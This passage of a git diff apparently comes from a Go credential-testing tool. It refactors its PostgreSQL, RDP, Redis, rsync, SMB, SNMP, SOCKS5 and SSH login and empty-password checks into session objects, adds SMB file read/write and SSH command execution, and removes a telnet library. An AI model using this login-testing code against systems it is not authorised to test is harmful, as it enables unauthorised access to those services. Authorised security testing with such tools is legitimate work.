fmt.Sprintf("port=%v", task.Port), + fmt.Sprintf("user=%v", user), + fmt.Sprintf("password=%v", password), + fmt.Sprintf("dbname=%s", dbname), "sslmode=disable", - fmt.Sprintf("user=%v", ""), + fmt.Sprintf("connect_timeout=%d", task.Timeout), }, " ") - conn, err := sql.Open("postgres", dataSourceName) + db, err := sql.Open("postgres", dsn) if err != nil { - return false, err + return nil, err } - err = conn.Ping() - if err != nil { - return false, err + if err := db.Ping(); err != nil { + db.Close() + return nil, err } - s.conn = conn - return true, nil -} - -func (s *PostgresPlugin) Name() string { - return s.Service -} -func (s *PostgresPlugin) GetResult() *pkg.Result { - // todo list dbs - return &pkg.Result{Task: s.Task, OK: true} + return &sqlsess.Session{ + DB: db, + SvcName: "postgresql", + }, nil } - -func (s *PostgresPlugin) Close() error { - if s.conn != nil { - return s.conn.Close() - } - return nil -} - -//func GetPostBaseInfo(SqlCon *sql.DB) *PostgreInf { -// -// res := PostgreInf{} -// -// err, Qresult, Columns := PostgresQuery(SqlCon, "SHOW server_version;") -// -// if err != nil { -// fmt.Println("something wrong") -// return nil -// } -// -// VerOs := GetSummary(Qresult, Columns) -// -// VerOs = strings.Replace(VerOs, "(", "", 1) -// VerOs = strings.Replace(VerOs, ")", "", 1) -// -// VerOsList := strings.Split(VerOs, " ") -// -// if len(VerOsList) < 2 { -// fmt.Println("something wrong in split") -// -// return nil -// } -// -// res.Version = VerOsList[0] -// res.OS = VerOsList[1] -// -// return &res -//} -// -//func GetPostgresSummary(s *PostgresService) int { -// var db []string -// var sum int -// -// err, Qresult, Columns := PostgresQuery(s.conn, "SELECT datname FROM pg_database") -// -// for _, items := range Qresult { -// for _, cname := range Columns { -// db = append(db, items[cname]) -// } -// } -// -// if err != nil { -// fmt.Println("something wrong") -// return 0 -// } -// -// _, Qresult, Columns = PostgresQuery(s.conn, "SELECT sum(n_live_tup) FROM pg_stat_user_tables") -// CurIntSum := GetSummary(Qresult, Columns) -// CurSum, err := strconv.Atoi(CurIntSum) -// if err == nil { -// sum += CurSum -// } -// -// s.conn.Close() -// -// for _, dbname := range db { -// if dbname == "postgres" { -// continue -// } -// -// s.SetDbname(dbname) -// err := s.Connect() -// if err == nil { -// _, Qresult, Columns = PostgresQuery(s.conn, "SELECT sum(n_live_tup) FROM pg_stat_user_tables") -// CurIntSum = GetSummary(Qresult, Columns) -// CurSum, err = strconv.Atoi(CurIntSum) -// if err == nil { -// sum += CurSum -// } -// s.conn.Close() -// } -// } -// -// return sum -//} diff --git a/plugin/rdp/rdp.go b/plugin/rdp/rdp.go index 81ba7d7..ab11698 100644 --- a/plugin/rdp/rdp.go +++ b/plugin/rdp/rdp.go @@ -5,34 +5,27 @@ import ( "github.com/chainreactors/zombie/pkg" ) -type RdpPlugin struct { - *pkg.Task - conn *grdp.Client +// rdpSession implements pkg.Session. RDP has no persistent connection, +// so Close is a no-op. +type rdpSession struct { + service string } -func (s *RdpPlugin) Unauth() (bool, error) { - return false, pkg.NotImplUnauthorized -} +func (s *rdpSession) Service() string { return s.service } +func (s *rdpSession) Close() error { return nil } + +// RdpPlugin is stateless; all connection state lives in rdpSession. +type RdpPlugin struct{} -func (s *RdpPlugin) Login() error { - user, domain := pkg.SplitUserDomain(s.Username) - err := grdp.Login(s.Address(), domain, user, s.Password) +func (p *RdpPlugin) Open(task *pkg.Task) (pkg.Session, error) { + user, domain := pkg.SplitUserDomain(task.Username) + err := grdp.Login(task.Address(), domain, user, task.Password) if err != nil { - return err + return nil, err } - - return nil -} - -func (s *RdpPlugin) Close() error { - return nil -} - -func (s *RdpPlugin) Name() string { - return s.Service + return &rdpSession{service: task.Service}, nil } -func (s *RdpPlugin) GetResult() *pkg.Result { - // todo list dbs - return &pkg.Result{Task: s.Task, OK: true} +func (p *RdpPlugin) Unauth(task *pkg.Task) (pkg.Session, error) { + return nil, pkg.NotImplUnauthorized } diff --git a/plugin/redis/redis.go b/plugin/redis/redis.go index 10588ba..1450951 100644 --- a/plugin/redis/redis.go +++ b/plugin/redis/redis.go @@ -4,67 +4,46 @@ import ( "net" "github.com/chainreactors/zombie/pkg" + "github.com/chainreactors/zombie/plugin/internal/kvsess" "github.com/go-redis/redis" ) -type RedisPlugin struct { - *pkg.Task - conn *redis.Client - Additional string - Input string +// RedisPlugin is a stateless factory that satisfies the Plugin interface. +type RedisPlugin struct{} + +// Open authenticates with the password from task and returns a KVSession. +func (RedisPlugin) Open(task *pkg.Task) (pkg.Session, error) { + return dial(task, task.Password) +} + +// Unauth attempts an unauthenticated connection (empty password). +func (RedisPlugin) Unauth(task *pkg.Task) (pkg.Session, error) { + return dial(task, "") } -// options 构建 redis 连接参数,并在配置了代理时注入自定义 Dialer。 -func (s *RedisPlugin) options(password string) *redis.Options { +// dial builds redis.Options (with optional proxy Dialer), connects, pings, +// and wraps the client in a kvsess.RedisSession. +func dial(task *pkg.Task, password string) (pkg.Session, error) { opt := &redis.Options{ - Addr: s.Address(), + Addr: task.Address(), Password: password, DB: 0, - DialTimeout: s.Duration(), + DialTimeout: task.Duration(), } - if s.ProxyDial != nil { + if task.ProxyDial != nil { opt.Dialer = func() (net.Conn, error) { - return s.DialTimeout("tcp", s.Address(), s.Duration()) + return task.DialTimeout("tcp", task.Address(), task.Duration()) } } - return opt -} - -func (s *RedisPlugin) Login() error { - client := redis.NewClient(s.options(s.Password)) - _, err := client.Ping().Result() - if err != nil { - return err - } - - s.conn = client - return nil - -} -func (s *RedisPlugin) Unauth() (bool, error) { - client := redis.NewClient(s.options("")) - _, err := client.Ping().Result() - if err != nil { - return false, err + client := redis.NewClient(opt) + if _, err := client.Ping().Result(); err != nil { + _ = client.Close() + return nil, err } - s.conn = client - return true, nil -} - -func (s *RedisPlugin) Name() string { - return s.Service -} - -func (s *RedisPlugin) GetResult() *pkg.Result { - // todo list dbs - return &pkg.Result{Task: s.Task, OK: true} -} - -func (s *RedisPlugin) Close() error { - if s.conn != nil { - return s.conn.Close() - } - return nil + return &kvsess.RedisSession{ + Client: client, + SvcName: "redis", + }, nil } diff --git a/plugin/rsync/rsync.go b/plugin/rsync/rsync.go index 39e5f00..8f7507f 100644 --- a/plugin/rsync/rsync.go +++ b/plugin/rsync/rsync.go @@ -4,53 +4,40 @@ import ( "github.com/chainreactors/zombie/pkg" ) -type RsyncPlugin struct { - *pkg.Task +// rsyncSession implements pkg.Session. Rsync uses short-lived socket +// connections per operation, so there is no persistent conn to wrap. +type rsyncSession struct { + service string } -func (s *RsyncPlugin) Unauth() (bool, error) { - ver, modules, err := RsyncDetect(s.Address(), s.Timeout, s.DialTimeout) - if err != nil { - return false, err - } - err = RsyncUnauth(s.Address(), ver, modules, s.Timeout, s.DialTimeout) - if err != nil { - return false, err - } - return true, nil -} +func (s *rsyncSession) Service() string { return s.service } +func (s *rsyncSession) Close() error { return nil } -//func (s *RsyncPlugin) Query() bool { -// return false -//} -// -//func (s *RsyncPlugin) GetInfo() bool { -// return false -//} +// RsyncPlugin is stateless; all connection state lives in rsyncSession. +type RsyncPlugin struct{} -func (s *RsyncPlugin) Login() error { - ver, modules, err := RsyncDetect(s.Address(), s.Timeout, s.DialTimeout) +func (p *RsyncPlugin) Open(task *pkg.Task) (pkg.Session, error) { + ver, modules, err := RsyncDetect(task.Address(), task.Timeout, task.DialTimeout) if err != nil { - return err + return nil, err } - err = RsyncLogin(s.Address(), s.Username, s.Password, ver, modules, s.Timeout, s.DialTimeout) + err = RsyncLogin(task.Address(), task.Username, task.Password, ver, modules, task.Timeout, task.DialTimeout) if err != nil { - return err + return nil, err } - return nil -} - -func (s *RsyncPlugin) Name() string { - return s.Service + return &rsyncSession{service: task.Service}, nil } -func (s *RsyncPlugin) GetResult() *pkg.Result { - // todo list dbs - return &pkg.Result{Task: s.Task, OK: true} -} - -func (s *RsyncPlugin) Close() error { - return nil +func (p *RsyncPlugin) Unauth(task *pkg.Task) (pkg.Session, error) { + ver, modules, err := RsyncDetect(task.Address(), task.Timeout, task.DialTimeout) + if err != nil { + return nil, err + } + err = RsyncUnauth(task.Address(), ver, modules, task.Timeout, task.DialTimeout) + if err != nil { + return nil, err + } + return &rsyncSession{service: task.Service}, nil } diff --git a/plugin/smb/smb.go b/plugin/smb/smb.go index 803b5f8..a45238d 100644 --- a/plugin/smb/smb.go +++ b/plugin/smb/smb.go @@ -1,61 +1,132 @@ package smb import ( + "fmt" + "io" + "strings" + "time" + "github.com/chainreactors/utils/encode" "github.com/chainreactors/zombie/pkg" "github.com/hirochachacha/go-smb2" - "strings" - "time" ) -type SmbPlugin struct { - *pkg.Task +// smbSession implements pkg.FileSession over an authenticated SMB2 session. +type smbSession struct { + service string conn *smb2.Session - Version string - Input string } -func (s *SmbPlugin) Unauth() (bool, error) { - user, domain := pkg.SplitUserDomain(s.Username) +func (s *smbSession) Service() string { return s.service } - dialer := &smb2.Dialer{} - dialer.Initiator = &smb2.NTLMInitiator{ - User: user, - Domain: domain, - Password: "", +func (s *smbSession) Close() error { + if s.conn != nil { + return s.conn.Logoff() } + return nil +} - c, err := s.DialTimeout("tcp", s.Address(), time.Duration(s.Timeout)*time.Second) +// parseSharePath splits a path like "SHARE/dir/file.txt" into share name and +// the remainder. If no separator is found, the whole string is the share name +// and the relative path is empty. +func parseSharePath(path string) (share, rel string) { + path = strings.TrimPrefix(path, "/") + path = strings.TrimPrefix(path, "\\") + idx := strings.IndexAny(path, "/\\") + if idx < 0 { + return path, "" + } + return path[:idx], path[idx+1:] +} + +func (s *smbSession) List(path string) ([]string, error) { + share, rel := parseSharePath(path) + if share == "" { + // No share specified: list available shares. + names, err := s.conn.ListSharenames() + if err != nil { + return nil, err + } + return names, nil + } + mount, err := s.conn.Mount(share) if err != nil { - return false, err + return nil, fmt.Errorf("mount %q: %w", share, err) } + defer mount.Umount() - conn, err := dialer.Dial(c) + if rel == "" { + rel = "." + } + entries, err := mount.ReadDir(rel) if err != nil { - return false, err + return nil, err + } + names := make([]string, len(entries)) + for i, e := range entries { + names[i] = e.Name() + } + return names, nil +} + +func (s *smbSession) Read(path string) ([]byte, error) { + share, rel := parseSharePath(path) + if share == "" || rel == "" { + return nil, fmt.Errorf("path must include share and file: %q", path) } - // todo anon - _, err = conn.ListSharenames() + mount, err := s.conn.Mount(share) if err != nil { - return false, err + return nil, fmt.Errorf("mount %q: %w", share, err) } - s.conn = conn + defer mount.Umount() - return true, nil + f, err := mount.Open(rel) + if err != nil { + return nil, err + } + defer f.Close() + return io.ReadAll(f) +} + +func (s *smbSession) Write(path string, data []byte) error { + share, rel := parseSharePath(path) + if share == "" || rel == "" { + return fmt.Errorf("path must include share and file: %q", path) + } + mount, err := s.conn.Mount(share) + if err != nil { + return fmt.Errorf("mount %q: %w", share, err) + } + defer mount.Umount() + return mount.WriteFile(rel, data, 0644) } -func (s *SmbPlugin) Login() error { - var user, domain string +// SmbPlugin is stateless; all connection state lives in smbSession. +type SmbPlugin struct{} - if strings.Contains(s.Username, "/") { - user = strings.Split(s.Username, "/")[1] - domain = strings.Split(s.Username, "/")[0] - } else { - user = s.Username +// dial establishes a raw TCP connection and performs the SMB2 handshake. +func (p *SmbPlugin) dial(task *pkg.Task, dialer *smb2.Dialer) (*smb2.Session, error) { + c, err := task.DialTimeout("tcp", task.Address(), time.Duration(task.Timeout)*time.Second) + if err != nil { + return nil, err + } + conn, err := dialer.Dial(c) + if err != nil { + return nil, err + } + // Validate the session by listing shares. + if _, err := conn.ListSharenames(); err != nil { + conn.Logoff() + return nil, err } + return conn, nil +} + +func (p *SmbPlugin) Open(task *pkg.Task) (pkg.Session, error) { + user, domain := pkg.SplitUserDomain(task.Username) dialer := &smb2.Dialer{} - method, pwd := pkg.ParseMethod(s.Password) + method, pwd := pkg.ParseMethod(task.Password, task.Raw) if method == "hash" { dialer.Initiator = &smb2.NTLMInitiator{ User: user, @@ -66,40 +137,31 @@ func (s *SmbPlugin) Login() error { dialer.Initiator = &smb2.NTLMInitiator{ User: user, Domain: domain, - Password: s.Password, + Password: task.Password, } } - c, err := s.DialTimeout("tcp", s.Address(), time.Duration(s.Timeout)*time.Second) + conn, err := p.dial(task, dialer) if err != nil { - return err + return nil, err } - - conn, err := dialer.Dial(c) - if err != nil { - return err - } - // todo anon - _, err = conn.ListSharenames() - if err != nil { - return err - } - s.conn = conn - return nil + return &smbSession{service: task.Service, conn: conn}, nil } -func (s *SmbPlugin) Close() error { - if s.conn != nil { - return s.conn.Logoff() - } - return nil -} +func (p *SmbPlugin) Unauth(task *pkg.Task) (pkg.Session, error) { + user, domain := pkg.SplitUserDomain(task.Username) -func (s *SmbPlugin) Name() string { - return s.Service -} + dialer := &smb2.Dialer{ + Initiator: &smb2.NTLMInitiator{ + User: user, + Domain: domain, + Password: "", + }, + } -func (s *SmbPlugin) GetResult() *pkg.Result { - // todo list dbs - return &pkg.Result{Task: s.Task, OK: true} + conn, err := p.dial(task, dialer) + if err != nil { + return nil, err + } + return &smbSession{service: task.Service, conn: conn}, nil } diff --git a/plugin/snmp/snmp.go b/plugin/snmp/snmp.go index 87a5120..537c4a6 100644 --- a/plugin/snmp/snmp.go +++ b/plugin/snmp/snmp.go @@ -6,140 +6,46 @@ import ( "time" ) -type SnmpPlugin struct { - *pkg.Task - Input string - conn *gosnmp.GoSNMP +// snmpSession implements pkg.Session over an SNMP connection. +type snmpSession struct { + service string + conn *gosnmp.GoSNMP } -func (s *SnmpPlugin) Unauth() (bool, error) { - conn := &gosnmp.GoSNMP{ - Target: s.IP, - Port: s.UintPort(), - Community: "", - Version: gosnmp.Version2c, - Timeout: time.Duration(s.Timeout) * time.Second, - MaxOids: gosnmp.MaxOids, - Retries: 3, - ExponentialTimeout: true, - } - err := conn.Connect() - if err != nil { - return false, err +func (s *snmpSession) Service() string { return s.service } + +func (s *snmpSession) Close() error { + if s.conn != nil { + return s.conn.Conn.Close() } - s.conn = conn - return true, nil + return nil } -//type CiderRoute struct { -// Cidr []string -// GateWay []string -//} -// -//type IPSubRoute struct { -// Cidr []string -// IP []string -//} -// -//type SwitchInfo struct { -// SystemInfo string `json:"SystemInfo"` -// Time int64 `json:"Time"` -// Concat string `json:"Concat"` -// MachineName string `json:"MachineName"` -// Location string `json:"Location"` -// MemorySize int64 `json:"MemorySize"` -// SsCpuUser int64 `json:"SsCpuUser"` -// SsCpuSystem int64 `json:"SsCpuSystem"` -// SsCpuIdle int64 `json:"SsCpuIdle"` -// InterfaceSlice []string `json:"InterfaceSlice"` -//} +// SnmpPlugin is stateless; all connection state lives in snmpSession. +type SnmpPlugin struct{} -//func (s *SnmpPlugin) Query() bool { -// defer s.conn.Conn.Close() -// -// if strings.HasPrefix(s.Input, "Walk") { -// input := strings.Replace(s.Input, "Walk", "", 1) -// GetRes, err := s.conn.BulkWalkAll(input) -// if err != nil { -// return false -// } -// for _, alive := range GetRes { -// fmt.Println(alive.Name) -// if alive.Value != nil { -// switch alive.Type { -// case gosnmp.OctetString: -// bytes := alive.Value.([]byte) -// svalue := string(bytes) -// fmt.Println(svalue) -// -// default: -// svalue := gosnmp.ToBigInt(alive.Value) -// s2int := svalue.Int64() -// fmt.Println(s2int) -// -// } -// } -// } -// -// } else { -// GetRes, err := s.conn.Get([]string{s.Input}) -// if err != nil { -// return false -// } -// variable := GetRes.Variables[0] -// if variable.Value != nil { -// switch variable.Type { -// case gosnmp.OctetString: -// bytes := variable.Value.([]byte) -// svalue := string(bytes) -// fmt.Println(svalue) -// -// default: -// svalue := gosnmp.ToBigInt(variable.Value) -// s2int := svalue.Int64() -// fmt.Println(s2int) -// -// } -// } -// } -// -// return true -//} +func (p *SnmpPlugin) Open(task *pkg.Task) (pkg.Session, error) { + return dial(task, task.Password) +} -func (s *SnmpPlugin) SetQuery(query string) { - s.Input = query +func (p *SnmpPlugin) Unauth(task *pkg.Task) (pkg.Session, error) { + return dial(task, "") } -func (s *SnmpPlugin) Login() error { +func dial(task *pkg.Task, community string) (pkg.Session, error) { conn := &gosnmp.GoSNMP{ - Target: s.IP, - Port: s.UintPort(), - Community: s.Password, + Target: task.IP, + Port: task.UintPort(), + Community: community, Version: gosnmp.Version2c, - Timeout: time.Duration(s.Timeout) * time.Second, + Timeout: time.Duration(task.Timeout) * time.Second, MaxOids: gosnmp.MaxOids, Retries: 3, ExponentialTimeout: true, } err := conn.Connect() if err != nil { - return err - } - s.conn = conn - return nil -} - -func (s *SnmpPlugin) Name() string { - return s.Service -} - -func (s *SnmpPlugin) GetResult() *pkg.Result { - return &pkg.Result{Task: s.Task, OK: true} -} - -func (s *SnmpPlugin) Close() error { - if s.conn != nil { - return s.conn.Conn.Close() + return nil, err } - return nil + return &snmpSession{service: task.Service, conn: conn}, nil } diff --git a/plugin/socks5/socks5.go b/plugin/socks5/socks5.go index 114a9eb..c6a674f 100644 --- a/plugin/socks5/socks5.go +++ b/plugin/socks5/socks5.go @@ -8,72 +8,54 @@ import ( "net/url" ) -type Socks5Plugin struct { - *pkg.Task - Url string `json:"url"` +// socks5Session implements pkg.Session over a SOCKS5 proxy dialer. +type socks5Session struct { + service string + dialer proxy.Dialer } -func (s *Socks5Plugin) Unauth() (bool, error) { - proxyURL, _ := url.Parse(fmt.Sprintf("socks5://%s:%s", s.IP, s.Port)) - dialer, err := proxy.FromURL(proxyURL, proxy.Direct) - if err != nil { - return false, err - } - client := &http.Client{ - Transport: &http.Transport{ - Dial: dialer.Dial, - }, - } +func (s *socks5Session) Service() string { return s.service } +func (s *socks5Session) Close() error { return nil } - if s.Url == "" { - s.Url = "http://baidu.com" - } - req, err := http.NewRequest("GET", s.Url, nil) - _, err = client.Do(req) +// Socks5Plugin is stateless; all connection state lives in socks5Session. +type Socks5Plugin struct{} + +func (p *Socks5Plugin) Open(task *pkg.Task) (pkg.Session, error) { + proxyURL, err := url.Parse(fmt.Sprintf("socks5://%s:%s@%s:%s", task.Username, task.Password, task.IP, task.Port)) if err != nil { - return false, err + return nil, err } - return true, nil + return dialAndTest(task, proxyURL) } -func (s *Socks5Plugin) Login() error { - proxyURL, err := url.Parse(fmt.Sprintf("socks5://%s:%s@%s:%s", s.Username, s.Password, s.IP, s.Port)) - if err != nil { - return err - } +func (p *Socks5Plugin) Unauth(task *pkg.Task) (pkg.Session, error) { + proxyURL, _ := url.Parse(fmt.Sprintf("socks5://%s:%s", task.IP, task.Port)) + return dialAndTest(task, proxyURL) +} + +func dialAndTest(task *pkg.Task, proxyURL *url.URL) (pkg.Session, error) { dialer, err := proxy.FromURL(proxyURL, proxy.Direct) if err != nil { - return err + return nil, err } - client := &http.Client{ Transport: &http.Transport{ Dial: dialer.Dial, }, } - if s.Url == "" { - s.Url = "http://baidu.com" + testURL := task.Param["url"] + if testURL == "" { + testURL = "http://baidu.com" + } + req, err := http.NewRequest("GET", testURL, nil) + if err != nil { + return nil, err } - req, err := http.NewRequest("GET", s.Url, nil) _, err = client.Do(req) if err != nil { - return err + return nil, err } - return nil - -} - -func (s *Socks5Plugin) Close() error { - return nil -} - -func (s *Socks5Plugin) Name() string { - return s.Service -} - -func (s *Socks5Plugin) GetResult() *pkg.Result { - // todo list dbs - return &pkg.Result{Task: s.Task, OK: true} + return &socks5Session{service: task.Service, dialer: dialer}, nil } diff --git a/plugin/ssh/ssh.go b/plugin/ssh/ssh.go index 55b085e..52ef268 100644 --- a/plugin/ssh/ssh.go +++ b/plugin/ssh/ssh.go @@ -11,55 +11,60 @@ import ( "golang.org/x/crypto/ssh" ) -type SshPlugin struct { - *pkg.Task - conn *ssh.Client +// sshSession implements pkg.ShellSession over an authenticated SSH connection. +type sshSession struct { + service string + conn *ssh.Client } -func (s *SshPlugin) Login() error { +func (s *sshSession) Service() string { return s.service } + +func (s *sshSession) Close() error { + if s.conn != nil { + return s.conn.Close() + } + return nil +} + +func (s *sshSession) Exec(cmd string) ([]byte, error) { + sess, err := s.conn.NewSession() + if err != nil { + return nil, fmt.Errorf("ssh session: %w", err) + } + defer sess.Close() + return sess.CombinedOutput(cmd) +} + +// SshPlugin is stateless; all connection state lives in sshSession. +type SshPlugin struct{} + +func (p *SshPlugin) Open(task *pkg.Task) (pkg.Session, error) { var auth []ssh.AuthMethod - if method, pkdata := pkg.ParseMethod(s.Password); method == "pk" && pkdata != "" { + if method, pkdata := pkg.ParseMethod(task.Password, task.Raw); method == "pk" && pkdata != "" { am, err := publicKeyAuth(pkdata) if err != nil { - return err + return nil, err } auth = []ssh.AuthMethod{am} } else { auth = []ssh.AuthMethod{ - ssh.Password(s.Password), + ssh.Password(task.Password), } } - conn, err := SSHConnect(s.Task, auth) + conn, err := SSHConnect(task, auth) if err != nil { - return err + return nil, err } - s.conn = conn - return nil + return &sshSession{service: task.Service, conn: conn}, nil } -func (s *SshPlugin) Unauth() (bool, error) { - conn, err := SSHConnect(s.Task, []ssh.AuthMethod{ssh.Password("")}) +func (p *SshPlugin) Unauth(task *pkg.Task) (pkg.Session, error) { + conn, err := SSHConnect(task, []ssh.AuthMethod{ssh.Password("")}) if err != nil { - return false, err - } - s.conn = conn - return true, nil -} - -func (s *SshPlugin) Close() error { - if s.conn != nil { - return s.conn.Close() + return nil, err } - return nil -} - -func (s *SshPlugin) GetResult() *pkg.Result { - return &pkg.Result{Task: s.Task, OK: true} -} - -func (s *SshPlugin) Name() string { - return s.Service + return &sshSession{service: task.Service, conn: conn}, nil } func SSHConnect(task *pkg.Task, auth []ssh.AuthMethod) (conn *ssh.Client, err error) { diff --git a/plugin/telnet/lib.go b/plugin/telnet/lib.go deleted file mode 100644 index bd7618c..0000000 --- a/plugin/telnet/lib.go +++ /dev/null @@ -1,488 +0,0 @@ -package telnet - -import ( - "bytes" - "errors" - "net" - "regexp" - "strings" - "time" -) - -const ( - TIME_DELAY_AFTER_WRITE = 300 * time.Millisecond - - // Telnet protocol characters (don't change) - IAC = byte(255) // "Interpret As Command" - DONT = byte(254) - DO = byte(253) - WONT = byte(252) - WILL = byte(251) - SB = byte(250) // Subnegotiation Begin - SE = byte(240) // Subnegotiation End - - NULL = byte(0) - EOF = byte(236) // Document End - SUSP = byte(237) // Subnegotiation End - ABORT = byte(238) // Process Stop - REOR = byte(239) // Record End - NOP = byte(241) // No Operation - DM = byte(242) // Data Mark - BRK = byte(243) // Break - IP = byte(244) // Interrupt process - AO = byte(245) // Abort output - AYT = byte(246) // Are You There - EC = byte(247) // Erase Character - EL = byte(248) // Erase Line - GA = byte(249) // Go Ahead - - // Telnet protocol options code (don't change) - // These ones all come from arpa/telnet.h - BINARY = byte(0) // 8-bit data path - ECHO = byte(1) // echo - RCP = byte(2) // prepare to reconnect - SGA = byte(3) // suppress go ahead - NAMS = byte(4) // approximate message size - STATUS = byte(5) // give status - TM = byte(6) // timing mark - RCTE = byte(7) // remote controlled transmission and echo - NAOL = byte(8) // negotiate about output line width - NAOP = byte(9) // negotiate about output page size - NAOCRD = byte(10) // negotiate about CR disposition - NAOHTS = byte(11) // negotiate about horizontal tabstops - NAOHTD = byte(12) // negotiate about horizontal tab disposition - NAOFFD = byte(13) // negotiate about formfeed disposition - NAOVTS = byte(14) // negotiate about vertical tab stops - NAOVTD = byte(15) // negotiate about vertical tab disposition - NAOLFD = byte(16) // negotiate about output LF disposition - XASCII = byte(17) // extended ascii character set - LOGOUT = byte(18) // force logout - BM = byte(19) // byte macro - DET = byte(20) // data entry terminal - SUPDUP = byte(21) // supdup protocol - SUPDUPOUTPUT = byte(22) // supdup output - SNDLOC = byte(23) // send location - TTYPE = byte(24) // terminal type - EOR = byte(25) // end or record - TUID = byte(26) // TACACS user identification - OUTMRK = byte(27) // output marking - TTYLOC = byte(28) // terminal location number - VT3270REGIME = byte(29) // 3270 regime - X3PAD = byte(30) // X.3 PAD - NAWS = byte(31) // window size - TSPEED = byte(32) // terminal speed - LFLOW = byte(33) // remote flow control - LINEMODE = byte(34) // Linemode option - XDISPLOC = byte(35) // X Display Location - OLD_ENVIRON = byte(36) // Old - Environment variables - AUTHENTICATION = byte(37) // Authenticate - ENCRYPT = byte(38) // Encryption option - NEW_ENVIRON = byte(39) // New - Environment variables - // the following ones come from - // http://www.iana.org/assignments/telnet-options - // Unfortunately, that document does not assign identifiers - // to all of them, so we are making them up - TN3270E = byte(40) // TN3270E - XAUTH = byte(41) // XAUTH - CHARSET = byte(42) // CHARSET - RSP = byte(43) // Telnet Remote Serial Port - COM_PORT_OPTION = byte(44) // Com Port Control Option - SUPPRESS_LOCAL_ECHO = byte(45) // Telnet Suppress Local Echo - TLS = byte(46) // Telnet Start TLS - KERMIT = byte(47) // KERMIT - SEND_URL = byte(48) // SEND-URL - FORWARD_X = byte(49) // FORWARD_X - PRAGMA_LOGON = byte(138) // TELOPT PRAGMA LOGON - SSPI_LOGON = byte(139) // TELOPT SSPI LOGON - PRAGMA_HEARTBEAT = byte(140) // TELOPT PRAGMA HEARTBEAT - EXOPL = byte(255) // Extended-Options-List - NOOPT = byte(0) -) - -const ( - Closed = iota - UnauthorizedAccess - OnlyPassword - UsernameAndPassword -) - -func NewClient(addr string, username, password string, timeout time.Duration) (*Client, error) { - client := &Client{ - Addr: addr, - UserName: username, - Password: password, - Timeout: timeout, - ServerType: UsernameAndPassword, - } - err := client.Connect() - if err != nil { - return nil, err - } - return client, nil -} - -type Client struct { - conn net.Conn - Addr string - UserName string - Password string - LastResponse string - ServerType int - Timeout time.Duration -} - -func (c *Client) Connect() error { - conn, err := net.DialTimeout("tcp", c.Addr, c.Timeout) - if err != nil { - return err - } - c.conn = conn - //开启输入监听 - go func() { - for { - buf, err := c.read() - if err != nil { - if strings.Contains(err.Error(), "closed") { - break - } - if strings.Contains(err.Error(), "EOF") { - break - } - //slog.Printf(slog.WARN, "%v:%v,telnet read is err:%v,", c.IPAddr, c.Port, err) - break - } - displayBuf, commandList := c.serializationResponse(buf) - if len(commandList) > 0 { - replyBuf := c.makeReplyFromList(commandList) - c.LastResponse += string(displayBuf) - _ = c.write(replyBuf) - } else { - c.LastResponse += string(displayBuf) - } - } - }() - //等待初始化 - time.Sleep(time.Second * 3) - return nil -} - -func (c *Client) writeContext(s string) { - _ = c.write([]byte(s + "\x0d\x00")) -} - -func (c *Client) readContext() string { - defer func() { c.Clear() }() //结束时,清空输出内容 - if c.LastResponse == "" { - time.Sleep(time.Second) - } - c.LastResponse = strings.ReplaceAll(c.LastResponse, "\x0d\x00", "") - c.LastResponse = strings.ReplaceAll(c.LastResponse, "\x0d\x0a", "\n") - //c.LastResponse = chinese.ToUTF8(c.LastResponse) - return c.LastResponse -} - -func (c *Client) close() { - c.conn.Close() -} - -func (c *Client) serializationResponse(responseBuf []byte) (displayBuf []byte, commandList [][]byte) { - for { - index := bytes.IndexByte(responseBuf, IAC) - if index == -1 { - displayBuf = append(displayBuf, responseBuf...) - break - } - if len(responseBuf)-index < 2 { - displayBuf = append(displayBuf, responseBuf...) - break - } - //获取选项字符 - ch := responseBuf[index+1] - if ch == IAC { - //将以IAC 开头之前的字符,赋值给最终显示文字 - displayBuf = append(displayBuf, responseBuf[:index]...) - //将处理过的字符串删去 - responseBuf = responseBuf[index+1:] - continue - } - if ch == DO || ch == DONT || ch == WILL || ch == WONT { - IACBuf := responseBuf[index : index+3] - //将以IAC 开头3个字符组成的整个命令存储起来 - commandList = append(commandList, IACBuf) - //将以IAC 开头之前的字符,赋值给最终显示文字 - displayBuf = append(displayBuf, responseBuf[:index]...) - //将处理过的字符串删去 - responseBuf = responseBuf[index+3:] - continue - } - if ch == SB { - //将以IAC 开头之前的字符,赋值给最终显示文字 - displayBuf = append(displayBuf, responseBuf[:index]...) - //获取SE 结束字符位置 - seIndex := bytes.IndexByte(responseBuf, SE) - //将以IAC 开头SB至SE的子协商存储起来 - commandList = append(commandList, responseBuf[index:seIndex]) - //将处理过的字符串删去 - responseBuf = responseBuf[seIndex+1:] - continue - } - break - } - return displayBuf, commandList -} - -func (c *Client) makeReplyFromList(list [][]byte) []byte { - var reply []byte - for _, command := range list { - reply = append(reply, c.makeReply(command)...) - } - return reply -} - -func (c *Client) makeReply(command []byte) []byte { - if len(command) < 3 { - return []byte{} - } - verb := command[1] - option := command[2] - - //如果选项码为 回显(1) 或者是抑制继续进行(3) - if option == ECHO { - if verb == DO { - return []byte{IAC, WILL, option} - } - if verb == DONT { - return []byte{IAC, WONT, option} - } - if verb == WILL { - return []byte{IAC, DO, option} - } - if verb == WONT { - return []byte{IAC, DONT, option} - } - if verb == SB { - /* - * 因为启动了子标志位,命令长度扩展到了4字节, - * 取最后一个标志字节为选项码 - * 如果这个选项码字节为1(send) - * 则回发为 250(SB子选项开始) + 获取的第二个字节 + 0(is) + 255(标志位IAC) + 240(SE子选项结束) - */ - modifier := command[3] - if modifier == ECHO { - return []byte{IAC, SB, option, BINARY, IAC, SE} - } - } - } else if option == SGA { - if verb == DO { - return []byte{IAC, WILL, option} - } - if verb == DONT { - return []byte{IAC, WONT, option} - } - if verb == WILL { - return []byte{IAC, DO, option} - } - if verb == WONT { - return []byte{IAC, DONT, option} - } - if verb == SB { - /* - * 因为启动了子标志位,命令长度扩展到了4字节, - * 取最后一个标志字节为选项码 - * 如果这个选项码字节为1(send) - * 则回发为 250(SB子选项开始) + 获取的第二个字节 + 0(is) + 255(标志位IAC) + 240(SE子选项结束) - */ - modifier := command[3] - if modifier == ECHO { - return []byte{IAC, SB, option, BINARY, IAC, SE} - } - } - } else { - if verb == DO { - return []byte{IAC, WONT, option} - } - if verb == DONT { - return []byte{IAC, WONT, option} - } - if verb == WILL { - return []byte{IAC, DONT, option} - } - if verb == WONT { - return []byte{IAC, DONT, option} - } - } - return []byte{} -} - -func (c *Client) read() ([]byte, error) { - var buf [2048]byte - var n int - //_ = c.conn.SetReadDeadline(time.Now().Add(time.Second * 3)) - n, err := c.conn.Read(buf[0:]) - if err != 